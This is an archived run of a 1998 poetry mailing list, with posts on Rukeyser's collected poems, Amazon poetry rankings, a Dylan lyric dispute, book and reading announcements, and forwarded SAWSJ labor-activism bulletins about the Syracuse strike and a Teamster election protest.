I know when it is hoped to launch but will keep shtumm until I know if it's possible. Quite soon though. More news when available.

I suspended my mail for about a month while I was away and haven't caught up yet so please forgive me if this has been listed already - for those interested not just in the work of Bob Cobbing but in visual and sound poetry generally may I recommend BALLET OF THE SPEECH ORGANS: BOB COBBING ON BOB COBBING an interview by Steven Ross Smith published after 17 years...

A very intleligent I mean intelligent interview and therefore worth getting though I strongly suspect Bob would not stand by everything in it now. Underwhich Editions, Toronto ISBN 0 88658 096 X

All best

Lawrence Upton

↑ Index

293. Ramez Ejaz Qureshi
Rukeyser
Sun 13 Sep 1998

Anyone know about publication plans for a complete Rukeyser?

↑ Index

294. **henry gould**
Re: Numbers
Sun 13 Sep 1998

On Sat, 12 Sep 1998 19:02:01 PDT Ron Silliman said:
>
>But as Pound, Creeley, Spicer, Judy Grahn, Lee Hickman and others have
>all already proven, you can change the world of poetry with just a few
>copies of anything if you just get them into the hands of their best
>possible audience.

On the other hand, you could decide there is no "world of poetry". That audience-measuring and political/status considerations are irrelevant. You could look out onto Desolation Row. - Henry Gould

↑ Index

295. **shana**
atomic universal stories (was rukeyser)
Sun 13 Sep 1998

According to the Paris Press website (www.westmass.com/Paris-Press), which I believe was last updated in the beginning of 1998, they have "plans" to publish Rukeyser's _Collected Poems_ "soon." Hope this helps.

shana

↑ Index

296. **Natalia Pang**
Yes, the right words in the right hands, that's all it takes! So why don't
Sun 13 Sep 1998

---

all 600 of us send several poems to:

baucus <[redacted]>, inhofe <[redacted]>,
wyden <[redacted]>, johnson
<[redacted]>,
warner <[redacted]>, kyl <[redacted]>,
mccain <[redacted]>,
stevens <[redacted]>,
murkowski <[redacted]>,
Bumpers <[redacted]>, Dodd
<[redacted]>,
Biden <[redacted]>, Roth
<[redacted]>,

Mack <[redacted]>,
Cleland <[redacted]>,
Coverdell <[redacted]>,
Akaka <[redacted]>,
Kempthorne <[redacted]>,
Durbin <[redacted]>,
Moseley <[redacted]>,
Lugar <[redacted]>,
Grassley <[redacted]>,
Harkin <[redacted]>,
Brownback <[redacted]>,
Ford <[redacted]>,
McConnell <[redacted]>,
Breaux <[redacted]>,
Collins <[redacted]>, Snowe <[redacted]>,
Mikulski <[redacted]>,
Sarbanes <[redacted]>,
Kennedy <[redacted]>,
Kerry <[redacted]>,
Abraham <[redacted]>,
Levin <[redacted]>, Cochran <[redacted]>,
Lott <[redacted]>,
Ashcroft <[redacted]>,
Bond <[redacted]>, Baucus <[redacted]>,
Burns <[redacted]>,
Hagel <[redacted]>, Bryan <[redacted]>,
Gregg <[redacted]>, Smith <[redacted]>,
Lautenberg <[redacted]>,
Torricelli <[redacted]>,
Bingaman <[redacted]>,
Domenici <[redacted]>,
"D'Amato" <[redacted]>,
Moynihan <[redacted]>,
Helms <[redacted]>,
Dorgan <[redacted]>,
DeWine <[redacted]>,
Inhofe <[redacted]>,
Nickles <[redacted]>,

Specter <[redacted]>,
Chafee <[redacted]>,
Thurmond <[redacted]>,
Daschle <[redacted]>,
Johnson <[redacted]>,
Thompson <[redacted]>,
Hutchison <[redacted]>,
Bennett <[redacted]>,
Hatch <[redacted]>,
Jeffords <[redacted]>,
Murray <[redacted]>,
Byrd <[redacted]>,
Rockefeller <[redacted]>,
Kohl <[redacted]>, Enzi
<[redacted]>,
Thomas <[redacted]>, boxer
<[redacted]>,
feinstein <[redacted]>,
craig <[redacted]>,
inouye <[redacted]>,
kerry <[redacted]>,
reid <[redacted]>

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↑ Index

297. **louis stroffolino**

Something to do when depressed (in whose hands?)

Sun 13 Sep 1998

Quixotic? Pointless? Stupid?
Well, it was either this or balem them for
GEARING UP THE COLD WAR rhetoric against russia again....
their "capitalism =democracy", etc.....
c

---------- Forwarded message ----------
Date: Sun, 6 Sep 1998 11:39:33 -0400 (EDT)
From: louis stroffolino <[redacted]>
To: [redacted]
Subject: Art for Autumn

Dear Letters Editor:

I found your fall preview of movies, books, music, and art [ART FOR AUTUMN, Sept. 7, 1998] informative, eclectic, and enjoyable. It was a pleasant surprise to see the likes of P.J. Harvey and Joshua Redman mentioned alongside of more commercially popular artists such as Alanis Morisette and Stephen King. I cannot help but notice, however, that in an article devoted to promoting (or at least exposing consumers to) a wide range of new art/entertainment product, the conspicious lack of any books of poetry on this list. This lack is made even more conspicious, for me, by the fact that you actually quote both John Keats and Robert Frost in your introduction to the list--neither of whom, presumably, have any new "product" for sale. I am aware that conventional market wisdom says poetry--especially contemporary poetry-- does not sell, but with the recent erosion of NEA funding for poets and trends in publishing that make it more difficult for poets who are not already "stars" in other fields (Jewel, Jimmy Carter) to find major distribution for their books, I cannot help but wonder if one of the main reasons contemporary poetry doesn't sell--or is even read as much as Frost or Keats--is because forums like Newsweek do not consider it worthy of attention in the company of Tom Wolfe, Jackson Pollock, and Harold Bloom. To answer your question: "Should we quote more poetry?" Yes, but it would be even better if you REVIEWED it as well.

Chris Stroffolino
331 13th St. #4L
Brooklyn, NY. 11215
[redacted]

(N.b. words in CAPS should be italicized!).

Thank you for your time. I hope to hear from you.

↑ Index

298. **louis stroffolino**
you can hear them blow
Sun 13 Sep 1998

Nah, you gotta look out FROM desolation row to do so.....
c.s

On Sun, 13 Sep 1998, henry gould wrote:

> *On Sat, 12 Sep 1998 19:02:01 PDT Ron Silliman said:*
>
> *But as Pound, Creeley, Spicer, Judy Grahn, Lee Hickman and others have all already proven, you can change the world of poetry with just a few copies of anything if you just get them into the hands of their best possible audience.*

> *On the other hand, you could decide there is no "world of poetry". That audience-measuring and political/status considerations are irrelevant. You could look out onto Desolation Row. - Henry Gould*

↑ Index

299. R I Caddel
watch what you buy
Mon 14 Sep 1998

Welcome to Bill Griffiths' NOMAD SENSE (Talus Editions, c/o English Department, King's College, Strand, London WC2R 2LS; four pound fifty or eight dollars). These are poems of un-rootedness, and of the rejection of security - they carry on, in some ways, from the poems of "vegetable passion" in _Rousseau & the Wicked_ (Invisible Books 1996), reflecting, perhaps, Bill's shifts between the Durham coast at Seaham and his work in the Eric Mottram Archive in the wicked city. They live under an image: "The future belongs to those who are mobile" which Bill sources as "communications advert in Time 22 Nov 1993 opposite a chart showing the rise from 2 million to 18 million refugees around the world 1976-1992, according to United Nations figures": the contrasts and oppositions run through the book: here's a different take on "talk with the animals" from "More Binaries":

.V.

bats use speech to determine distance
that's fine
lions by that express pain
and we are boxes gesticulate or did we learn to talk from dolphins -
the aim inter-special communication?

or
the major function language a control

- and here's the closing bit of "Seed-Time" - a distinctly non-wordsworthian view of seed packets...:

[...] in the print
OK it proclaims
you cannot know
words are robbers

the plant-mothers
are sourced lamp-oil
we encounter kicks

the giantipede abune the capsule
it lolls 'n' snicks
engenders ginger knee-tufts with vile zeal
pods open
prime see
the sexual act of butterflies
this label be accorded

asked to suggest
epitomes,
the shop-place
huckster-docks
play-to
orb-jewels
the arena of leaf
it pitters, it spits
am emulant, sustained sense
pride
fract'
neo-growth

slipoclasm

there is no noval spasm apt increase
rows of radiants
into this packet into that

watch what you buy

RC

↑ Index

300. Ron Silliman
Internet & Depression
Mon 14 Sep 1998

This is a multi-part message in MIME format.

charset="iso-8859-1"

Today's New York Times has a piece on the criticisms that have been = directed to the Home Net study on the internet & depression:

http://www.nytimes.com/library/tech/98/09/biztech/articles/14digicom.html=

Complete with links

Ron

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</EM>has =
a piece on=20
the criticisms that have been directed to the Home Net study on the =
internet=20
& depression:</FONT></DIV>
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gicom.html</A></FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT> </DIV>
<DIV><FONT color=3D#000000 size=3D2>Complete with links</FONT></
DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT> </DIV>
<DIV><FONT color=3D#000000 size=3D2>Ron</FONT></DIV></
BODY></HTML>

↑ Index

301. d.j. huppatz
textbase website update
Mon 14 Sep 1998

---

dear listfolk

ANNOUNCING an update to the TEXTBASE webpage featuring experimental writing
& visual
art projects from MELBOURNE, AUSTRALIA.

<http://www.skynet.apana.org.au/~samiam/textbase/textbase.htm>

TEXTBASE has been operating for a few years as a loose collective of writers working in the visual arts scene & we are now publishing our own literary journal. the TEXTBASE webpage features a complete documentation of our visual arts projects as well as the first two issues of the journal. there are also some interesting hypertext pieces on the webpage - i recommend benjamin brady's "a is for geophysics" for those of you with good graphics & sound. any comments/criticism/inquiries appreciated.

BUT WAIT, THERE'S MORE: i still have six hard copies of the first two issues of the journal which i'm willing to send to interested parties. this is a free offer but swaps for your journal/chapbook/whatever would be great. backchannel a name & address.

dan huppatz
melbourne

↑ Index

302. d.j. huppatz
website update update
Mon 14 Sep 1998

Dear listfolk again

RE: ANNOUNCING an update to the TEXTBASE webpage featuring experimental
writing
& visual art projects from MELBOURNE, AUSTRALIA.

<http://www.skynet.apana.org.au/~samiam/textbase/textbase.htm>

Sorry, I just realised I didn't indicate which parts are new - it's probably not obvious. The new parts are three new projects under the Projects section - the Stickers project & City Lights. The third is Concrete Poetry, a new exhibition at 1st Floor (under Projects, 1st Floor).

Dan Huppatz
Melbourne

↑ Index

303. henry gould
**numbers*
Mon 14 Sep 1998

Well, Chris, I think Dylan sings both "onto Desolation Row" & "from Desolation Row" in different verses. But what's your point? - Henry

↑ Index

304. Mark Salerno
Looking for a Teachable Text
Mon 14 Sep 1998

To All Of You School Teachers Out There:

This semester I'm teaching an intro to lit course that includes a theory/criticism component. The previously-assigned text for this course has a chapter on Structuralism & Poststructuralism, the subheadings of which include "Russian Formalism," "Semiotics or Semiology," "French Structuralism" and "Poststructuralism." All in fifteen easy pages. Needless to say, this chapter is "introductory" to the point of being useless, so I'd appreciate hearing from anyone (by backchannel) who can recommend a better survey of the terrain--perhaps an essay or chapter, rather than an entire monograph. Preferably something that would be comprehensible to a freshman college student.

Thanks in advance.

A fellow school teacher,

Mark Salerno

↑ Index

305. Billy Little
Re: Something to do when depressed (in whose hands?)
Mon 14 Sep 1998

---

keats first issue sold twenty seven copies.
imagine how many you're selling in 2150.

billy little
4 song st.
nowhere, b.c. V0R1Z0

ah! those strange people who have the courage to be unhappy! Are they unhappy, by the way?

Alice James

↑ Index

306. Pritchett,Patrick
Re: Left Hand Poetry Reading
Mon 14 Sep 1998

The 1998/99 season for the Left Hand Reading Series gets underway this Thursday, September 17 at 8:30pm with poets Jack Collom and Reed Bye reading from their own work and performing together.

Jack Collom is Associate Professor in the Dept. of Writing & Poetics at the Naropa Institute and is the author of 15 books of poetry. His latest collection, _Dog Sonnets_, is die out this fall from Talisman Publishers. Reed Bye is Director of Writing & Poetics at Naropa. His books include _Passing Freaks & Graces_, Heart's Bestiary_and _Border Theme_.

Left Hand Books is located above the Crystal Market (formerly Wild Oats) at 1825 Pearl. For further information respond to this e-mail or call Patrick Pritchett at [redacted] ext. 230, or Mark DuCharme at [redacted].

Other readings of note this week in the Boulder/Denver area:
* Ed Dorn at Tattered Cover in LoDo, Monday 9/14 - 7:30pm
* Michael Friedman at Penny Lane, Monday, 9/14 - 9:30pm
* Robert Creeley at Naropa Performing Arts Center, Sat 9/19 - 8pm
* Pamela White Hadas at CU, Old Main, Tuesday 9/22 - 7:30pm

Thanks,
Patrick Pritchett

↑ Index

307. Burt Kimmelman
CAll FOR SUBMISSIONS to Translation Conference
Mon 14 Sep 1998

From: MX%"[redacted]" 14-SEP-1998 10:34:41.96
To: MX%"[redacted]"
CC:
Subj: Re: POETRY IN TRANSLATION!

Date: Mon, 14 Sep 1998 10:34:31 -0400 (EDT)
From: Edward Foster <[redacted]>
To: "Burt Kimmelman [redacted]" <[redacted]>
Subject: Re: POETRY IN TRANSLATION!

Literary Translation: Priorities, Theory, Practice -- a conference to be held November 13, 14, and 15 at the Stevens Institute of Technology. Speakers include Allen Mandelbaum, Serge Gavronsky, Armand Schwerner, Katherine Washburn,

David Curzon, John High, and many others. The conference will include some of the most distinguished poets and translators of poetry working today.

Poets are invited to read their translations of other poets' works or translations of their own works. Please contact either Deborah Sinnreich-Levi at [redacted] and/or Ed Foster, Humanities Dept., Stevens Institute of Technology, Hoboken, NJ 07030.

We are also interested in papers on any aspect of literary translations. Sessions will be held through-out the conference on a great variety of subjects. There will also be workshops in Russian, French, Chinese (classical and modern), Japanese, Turkish, Hebrew, Urdu, Afrikaans, and many others.

The conference fee is $35 ($10 for graduate students) but can be waived in cases of hardship.

American poets are criticized for being isolated, for talking only to each other, and for writing in a world that has little to do with what is happening elsewhere. We will have poets and scholars attending from a great many parts of the poetry universe. Come and read your works and help us prove that the criticism is wrong. And find out, too, what is happening in China . . . in Germany . . . in Russia . . . . . .

↑ Index

308. Burt Kimmelman

TALISMAN, new issu

Mon 14 Sep 1998

From: MX%"[redacted]" 14-SEP-1998 10:42:45.07
To: MX%"[redacted]"
CC:
Subj: Re: New Issues of Talisman

Date: Mon, 14 Sep 1998 10:42:38 -0400 (EDT)
From: Edward Foster <[redacted]>
To: "Burt Kimmelman [redacted]" <[redacted]>
Subject: Re: New Issues of Talisman

The fall, 1998, Talisman is here: the Lewis Warsh issue together with a special section on Irish poets and a major essay on Sobin and Heidegger, plus new work, reviews, "books received."

The winter, 1998/99, issue will be ready in October: the Armand Schwerner issue together with a special section on younger poets and a selection of new works by Sartarelli with an introduction by Donahue, plus essays, reviews, new work including a major new sequence by Enslin.

Talisman subscriptions are $14 for two issues ($9 each at your newsstand or bookstore): Talisman, P.O. Box 3157, Jersey City, NJ 07303-3157

↑ Index

309. **Gary Sullivan**
Re: Best Sellers (?)
Mon 14 Sep 1998

I looked up Gerald Burns's _Letters to Obscure Men_, a book from 1975 not only long out of print, but many copies of which were burned in a huge house fire (back, I think, when publisher Jim Haining lived in Illinois). Sales of this nearly impossible-to-find-item (of which I have a copy, btw, & will photocopy for anyone who wants to read it, gratis; just e-along your address) are flying out of Amazon's virtual warehouse swifter than 2,025,559 of their other titles (it's listed today as 974,441th most popular).

Oh, I'm sure Amazon's numbers have real-world correlation of some form or another. I'm just not convinced it's "sales." Maybe it's to "potential chimps-having-the-special-desire-to-flip-page-given-any-one-page-to-start"? It seems like maybe if you handed Gerald's book to 3 million chimps, approximately 974,441 might bother to flip a page, even back & forth several times.

Sociologist of the Imagination? Well, what does it pay? Ron, can I put you down as a reference?

What else? Oh, yeah, before I forget: Billy "double diminutive living on song street in nowhere" Little, five bucks says you're a pseudonym. (Forgive me if you're not. I actually thought Bill Luoma's _My Trip_ was Ron Padgett, doing another "Leon"-like project, & even wrote to Geoffrey Young saying, "Thanks, this _is_ Padgett, right?" He assured me it wasn't. I didn't believe him. I do now, I guess.)

Oh, and: My book, _Dead Man_ (also Meow Press!), while listed, didn't even have a number _assigned_ to it. That means like all 3 million more-customer-friendly Amazon books beat the holy living crap out of my teeny tiny nothing little shit-ass chapbook flop every sad motherfucking day of the year.

Waaaah!

Gary

↑ Index

310. **louis stroffolino**
Re: *numbers
Mon 14 Sep 1998

That the "Speaker" of the song is speaking from within desolation
row rather than from outside of it....
i think if you listen to--or look at--the lyrics
that's consistent throughout--
he may have to "lean [his] head out far enough" from it
in order to be able to write the song, but
that doesn't mean he's not speaking "from" it.....

On Mon, 14 Sep 1998, henry gould wrote:

> *Well, Chris, I think Dylan sings both "onto Desolation Row" & "from Desolation Row" in different verses. But what's your point?*
> *- Henry*

↑ Index

311. **David Baratier**
Re: Internet & Depression
Mon 14 Sep 1998

Healthy but depressed.

WASHINGTON (Reuters) - A U.S. government agency said Friday it had set up an Internet site that will control people's cholesterol. The site allows people to enter their cholesterol levels and gives advice on how to lower them. It offers recipes, exercise plans, guidance for reading food labels and explanation about drugs. The site, available at www.nhlbi.nih.gov, can be found by clicking on "What's New" on the NHLBI page. More than 13 million Americans have coronary heart disease, and at least 80% of them would be helped by getting their cholesterol down, the government says, but only a third to a half get active treatment.

↑ Index

312. **henry**
Re: *numbers
Mon 14 Sep 1998

On Mon, 14 Sep 1998 14:15:38 -0400 louis stroffolino said:
> That the "Speaker" of the song is speaking from within desolation
> row rather than from outside of it....
> i think if you listen to--or look at--the lyrics

> that's consistent throughout--
> he may have to "lean [his] head out far enough" from it
> in order to be able to write the song, but
> that doesn't mean he's not speaking "from" it.....
>

I don't get it. What are you correcting? I listened to it last night - they were playing a great live rendition from a concert he gave in Manchester in 1966. Obviously the "speaker" is singing from/in/on/under Desolation Row. But what does this have to do with the statement Ron made and the dismal counter-statement I made? Other than trying to suggest I haven't heard the lines correctly (which I had) & therefore could be dismissed? I'm not being cantankerous, Chris - just tangled up. - Henry

↑ Index

313. **Charles Alexander**
binderies?
Mon 14 Sep 1998

A question to any of you poetics folks who are publishing books. Chax books are either bound here by myself with helpers, or, if they are trade paperback books with perfect or smyth sewn bindings, the binding is taken care of along with the printing.

But I'm looking for any recommendations of binders who will take already-printed pages and turn them into perfect-bound books which look decent, for a reasonable price.

If anyone has experience with this, and a binder to recomend, please e-mail me directly at
[redacted]

thank you so much,

charles

↑ Index

314. **r.drake**
Re: binderies?
Mon 14 Sep 1998

---

actually, any responses could go frontchannel, if you'd be so kind...

lbd

> *A question to any of you poetics folks who are publishing books. Chax books are either bound here by myself with helpers, or, if they are trade*

> *paperback books with perfect or smyth sewn bindings, the binding is taken care of along with the printing.*
>
> *But I'm looking for any recommendations of binders who will take already-printed pages and turn them into perfect-bound books which look decent, for a reasonable price.*
>
> *If anyone has experience with this, and a binder to recomend, please e-mail me directly at*
> [redacted]
>
> *thank you so much,*
>
> *charles*

↑ Index

315. **MAYHEW**
poetry bestsellers
Mon 14 Sep 1998

Amazon also has best sellers by sub-category. In poetry, single authors, American, the list is dominated by Shel Silverstein and Kahil Gibran, with someone named "Jewel" in the number 1 spot. 9, 10, and 11 are Steven, Ginsberg, and Chas. Wright, with Donald Hall at # 12.

Who is Billy Collins? He has a couple of books in the top ten?

In Spanish poetry (in translation of course) Pablo Neruda is the author of 24 of the top fifty, including 8 of the top 10.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

316. **KENT JOHNSON**
(Fwd) PART 1: SAWSJ Information List (fwd)
Mon 14 Sep 1998

------- Forwarded Message Follows -------
Date: Mon, 14 Sep 1998 12:50:17 -0400 (EDT)
From: J Saws <[redacted]>

To: SAWSJ Information List <>
Subject: PART 1: SAWSJ Information List (fwd)

Scholars, Artists, and Writers for Social Justice
SAWSJ Information List
September 14, 1998
Office: [redacted]
List: [redacted]
Web site: www.sage.edu/html/SAWSJ

Folks:

There was a late summer pause in our e-mailings, so this one will be a bit longer than usual -- in fact I have divided it into two sections to make it easier for the server to send. From now on we are aiming at once-a-week e-mailings. If you have something you would like to put up on the list, send it to this list's e-mail address. Right now, we have to be selective in what we post, mainly because of limited resources. In the near future we hope to set this list up on listserv software, with a moderator, which will make everything much easier and more efficient for all of us. Summer is waning and fall is approaching. We want to urge everyone on this list, especially those on college campuses, to do what they can to initiate or support anti-racist, anti-sexist, anti-homophobic working-class-oriented activity -- either as a part of SAWSJ or in other ways. Hopefully, this e-mailing will help in that effort. Please keep in touch. Finally, we welcome to all new subscribers.

Andor Skotnes

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CONTENTS:

Part One (this mailing)
1. SAWSJ is cited in a protest by Hoffa, Jr. forces against the Leedham campaign for the Teamster presidency
2. ACTION: Beverly Enterprises continues suit against SEIU's Rosemary Trump
3. SAWSJ Bay Area Organizing Meeting, 9/15
4. ACTION: Support Syracuse University Strikers
5. ACTION: Support Jazz Faculty Organizing at the New School

Part Two (next mailing)
6. CONFERENCE: 3rd National Conference on Whiteness

7. CONFERENCE: The Last Front: Corporatization & the End of Public Education
8. EMPLOYMENT: AFTRA, SAG, and UCLA Labor Education Seek Researchers
9. EMPLOYMENT: Hotel Workers Union Seeks Researchers for Exciting Campaigns throughout North America
10. EMPLOYMENT: SEIU Seeks Organizers

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1. SAWSJ IS CITED IN A PROTEST BY HOFFA, JR., FORCES AGAINST THE LEEDHAM CAMPAIGN FOR THE TEAMSTER PRESIDENCY

Last month, an e-mailing on this list included a invitation to support the Tom Leedham Legal and Accounting Fund and the TDU's Teamster Rank and File Education and Legal Defense Foundation. The Hoffa Unity Slate believes that, by sending this message, we violated the rules governing the Teamster election and has cited us to that effect. Evidently this Hoffa Unity protest is just one of a great many that it have been filed. The SAWSJ Coordinating Committee is currently working on a response to this protest. For your information, the text of the protest letter appears below. As you will see, the protest against SAWSJ is made on the rather surprising grounds that SAWSJ is an employer.

Baptiste & Wilder, P.C.
Attorneys at Law
1150 Connecticut Avenue, N.W. Suite 500
Washington, D.C. 20036

August 12, 1998

BY FACSIMILE ([redacted])

Michael G. Cherkasky, Esq.
Election Officer
Office of the Election Officer
444 North Capitol Street, NW, Ste 445
Washington, DC 20001

Re: Enclosed Protest

Dear Mr. Cherkaksy:

James P. Hoffa and the Hoffa Unity Slate file this protest against Tom Leedham, the Tom Leedham Slate, "Scholars, Artists and Writers for Social Justice (SAWSJ)," TDU and the Teamster Rank and File Education and Legal Defense Foundation on the ground that the enclosed newsgroup posting by SAWSJ

(Exhibit A) constitutues an improper solicitation for funds for the Leedham Legal and Accounting Fund and for the Teamster Rank and File Education and Legal Defense Fund.

Exhibit A is a printed copy of an electronic posting made by SAWSJ to an electronic newsgroup with the address of <misc.activism.progressive> The posting lists "sawsj @Sage.EDU" as the individual making the posting (in the second line following "From:"). This is the address of SAWSJ. Item 4 of the posting is a solicitation for contributions to the Leedham Legal and Accounting Fund and to the TDU's so-called "Teamster Rank and File Education and Legal Defense Foundation." By posting this item to the newsgroup, SAWSJ was soliciting, or at least facilitating and assisting the solicitation of , funds for the Leedham Legal and Accounting fund and the Teamster Rank and File Legal Defense Foundation. The solicitation states that the purpose of soliciting funds for the Teamster Rank and File Education and Legal Defense Foundation is to obtain funds to support the Leedham Legal and Accounting Fund. See Exhibit A-3: "[NOTE; The TDU's Teamster Rank and File Education and Legal Defense Fund is also accepting donations for similar purposes.]."

Exhibits B and C show that SAWSJ is an employer. Exhibit B is a printed copy of the SAWSJ home page which appears at <http: \www.sage.edu\sawsj\>[sic]. Exhibit C is a printed copy of the site's "SAWSJ Organization & Leadership" sub-page. The statements on the sub-page establish that SAWSJ is an arm of the Labor Relations and Research Center at the University of Massachusetts (an employer), that SAWSJ is funded by several Universities (employers) who subsidize the activities [sic] the individuals who constitute the SAWSJ's "Coordinating Committee" and members, and that the SAWSJ employs a "staffperson" and therefore is itself and employer.

The solicitation by SAWSJ is therefore a solicitation by an employer and is contrary to the Rules which provide that funds for a candidate's Legal and Accounting Fund can be solicited only by the candidate, members and a member's immediate family and that all expenses associated with any such solicitation must be paid for with unrestricted campaign funds.

The Election Officer should order the Leedham campaign to cease and desist from these improper solicitations, should require SAWSJ to post an appropriate notice, and should require the Leedham Legal and Accounting Fund and the Teamster Rank and File Education and Legal Defense Foundation to return all contributions that result from this improper solicitation.

Very truly yours
[signed]
Patrick J. Szymanski

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2. BEVERLY ENTERPRISES CONTINUES ITS SUIT AGAINST SEIU LOCAL 585 AND ROSEMARY TRUMP

Under pressure, Beverly Enterprises dropped its absurd defamation suit against Kate Bronfenbrenner, professor of Labor Relations at Cornell University and SAWSJ activist. This suit was Beverly's response to Bronfenbrenner's from testimony at a Congressional hearing about Beverly's anti-labor practices. However, as Kate wrote last month, Beverly has continued its suit against SEIU's Rosemary Trump and SEIU local 585 for the same alleged offense. WE NEED TO HELP TO PUT PRESSURE ON BEVERLY TO END THIS FOOLISHNESS. You are urged to write or e-mail Speaker of the House, Newt Gingrich ([redacted]), urging that the general counsel of the House file an amicus brief in the 3d Circuit Court of Appeals in this case. The amicus brief will focus on the issue of testimonial immunity for expert witnesses who are asked to testify at Congressional forums and hearings. If you want more background information about the Beverly suit, please consult the SAWSJ web site at www.sage.edu/html/SAWSJ.

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3. SAWSJ BAY AREA ORGANIZING MEETING, 9/15

ANNOUNCEMENT:

Dear friend,

We are writing you today, because we understand that you are one of the Bay Area individuals interested in working with the group called Scholars, Artists & Writers for Social Justice (SAWSJ).

WE ARE CONVENING A MEETING TO FORM A BAY AREA CHAPTER OF SAWSJ ON TUESDAY, SEPTEMBER 15th, 7:00 pm, AT THE HOME OF JACK KURZWEIL, 1737 Allston Way, Berkeley, CA 94703

As you may already know, SAWSJ was recently formed through the work of people involved in a series of Campus-Labor Teach-Ins held across the country in 1996 and 1997. The SAWSJ founding statement, originally published in the Nation during 1997 (and available at the SAWSJ web site: www.sage.edu/html/SAWSJ), describes the organization's mission:

1. To restore the mutually empowering relationship that once existed between the labor movement and the academic and cultural communities

2. To foster the growth of a vibrant, militant, multicultural
working-class
movement

3. To assist the organizing drives of the new labor movement

In April of this year SAWSJ held its founding convention in Washington, D.C., at which it adopted a constitution, elected a national leadership, and issued a call for members to form local chapters and start organizing.

We agree with the mission of SAWSJ and have decided to form a local SAWSJ chapter in the Bay Area. We are therefore inviting you to this first organizing meeting.

Your participation in this important project is crucial!

Please RSVP to Ken via email ([redacted]) or phone ([redacted]).

In Solidarity,

Ken Kloc, Jack Kurzweil, Ellen Starbird, & Ted Stolze

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4. SUPPORT SYACUSE UNIVERSITY STRIKERS

To SAWSJ:

I would like to appeal to your organization for help in putting national pressure on Syracuse University for the punitive position it has taken against faculty and students supporting striking workers on our campus.

The strike of 750 SEIU Local 200A members, who work in our libraries, as food service workers, in physical plant, and as custodians, is over subcontracting issues as well as wages and benefits. Syracuse University has already replaced 100 union workers over the last 8 years with temporary workers receiving near minimum wage with no benefits. The union wants protection in the contract against further degradation of the workforce. The university has refused, and has now hired Pinkertons, threatened faculty and staff who strike in sympathy with being fired, and told students they cannot leaflet as individuals on the campus in favor of the union!

I have received your emails over the years, and Kate Bronfenbrenner, whose case involving Beverly Enterprises was aided by your efforts, has suggested

that this list would be a good venue for a national petition campaign against our university union-busting efforts. Apparently, Syracuse University and Beverly Enterprises are cut from the same corporate cloth which is working to stifle academic discussion over corporate privilege, no matter what the social cost.

Here are some other efforts the university has taken against supporters of the strike:

1. Non-union staff have been told they will lose their jobs if they refuse to cross the picket line; their wages withheld and medical benefits will be denied immediately, and if their family members are using tuition benefits to take classes at SU they will be yanked out of classes.

2. Faculty members have been told we will also have wages and benefits withheld, and may be replaced as well. We have been receiving daily messages of intimidation from the administration. Faculty who have organized a teach-in on the campus about the strike for the students have been told "that won't be allowed."

3. Chairs of departments have been told they will no longer be chairs if they are not in their offices on the day the strike begins (which will be tomorrow, Aug. 31). They are also told they must deliver to the deans the names of all staff and faculty who are not at work so that their wages and benefits can be withheld and they can be replaced.

4. Students have been told, unbelievably, the following, which is quoted directly from the administration:

"Students who are supportive of the Union issue are NOT allowed AS INDIVIDUALS to disseminate information on University property -- as they are acting in stead for Union members.

"Students wishing to support Union issues may act through RECOGNIZED STUDENT ORGANIZATIONS if their organization, AS A WHOLE, supports the Union issues. In this case, the organization must follow standard university protocol in REQUESTING AND RESERVING space and/or equipment (such as tables and chairs) through Event Scheduling.

"Graduates who hold scholarships, fellowships, graduate assistantships, research assistantships and teaching assistantships do so as UNIVERSITY beneficiaries."

The campus has now become like an armed camp, with extra security guards and police roaming in groups, posted at every entrance and every parking gate. The city bus system has been rerouted to deliver busloads of scabs.

Meanwhile, the university administration continues to publicly proclaim this to be the leading "student centered research university" in the country. We say: it is the leading "student CENSORED research university in the country!

You can view more information about the strike on our web page (which is still under construction) at:

http://www.maxwell.syr.edu/maxpages/faculty/merupert/SUlabor.htm

Please help us. Please contact me as soon as possible about a petition drive using your list. We would like the petition to read something like the following:

We call on Chancellor Kenneth Shaw of Syracuse University to cease and desist all punitive and intimidating measures against Syracuse University faculty and staff who support the union employees strike and wish to disseminate information to the campus of the union's position. We also call on him to stop trying to run the university on the backs of its lowest paid, least powerful employees, and of trying to pit their needs against the students' needs.

Thank you so much for your help.

Linda Martin Alcoff
Department of Philosophy
541 Hall of Languages
Syracuse University
Syracuse NY 13244-1170
[redacted]

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5. SUPPORT JAZZ FACULTY ORGANIZING AT THE NEW SCHOOL

Dear Labor Supporter, and Music Lover

I am writing to you on behalf of the 70 part time Jazz faculty at the New School, who have been trying for eight long months to negotiate a first contract with management. During our struggle to win the right to vote on union representation in December, 1997, many of you played a pivotal role in convincing the New School to live up to their progressive ideals and allow musicians to decide for themselves whether or not they wanted a union. As a result of hundreds of letters, emails, faxes, and phone calls, the New School allowed a vote, which overwhelmingly showed that the jazz faculty wanted a union.

Since that time, Local 802 has been negotiating with management for a first contract. From the beginning, our elected bargaining committee has made it clear to management that four items must be included in any contract: a fair

wage, pension contributions, job security, and health benefits. Although our current positions on wages and health benefits are not that far apart, to date the New School has refused even to give us a counterproposal on pension contributions, and our demands for job security have fallen on deaf ears.

We believe that the New School -- once again -- needs a moral push. We are asking our allies in the labor, religious, neighborhood and political communities to lend your moral support to our struggle for a just contract with the New School.

Please take the time email New School President Fanton to urge him to do what is right, and settle with the Jazz faculty who have made the Jazz program the best in the world. Dr. Fanton's email address is: [redacted]

We are asking for what is reasonable, and what the other unionized workers at the university already enjoy: a decent pension, and job security.

Please forward all correspondence with Dr. Fanton to Local 802's Organizing Department. Email copies of your emails to us at:

[redacted].
If you have any questions, please call Local 802 Organizer Tim Dubnau at [redacted], Ext. 185.

Thank you very much for your help.

In Solidarity,

William Moriarity
PRESIDENT, Local 802 AFM

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...more in part two of this mailing

↑ Index

317. KENT JOHNSON
(Fwd) PART 2: SAWSJ Information List
Mon 14 Sep 1998

------- Forwarded Message Follows -------
Date: Mon, 14 Sep 1998 12:53:26 -0400 (EDT)
From: J Saws <[redacted]>
To: SAWSJ Information List <>
Subject: PART 2: SAWSJ Information List

The SAWSJ Information List Continues...

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6. CONFERENCE: 3RD NATIONAL CONFERENCE ON WHITENESS

CALL FOR PRESENTERS

November 6-8, 1998
University of Chicago

Beyond "White," "Black" or "Other": Confronting Whiteness to End Racism

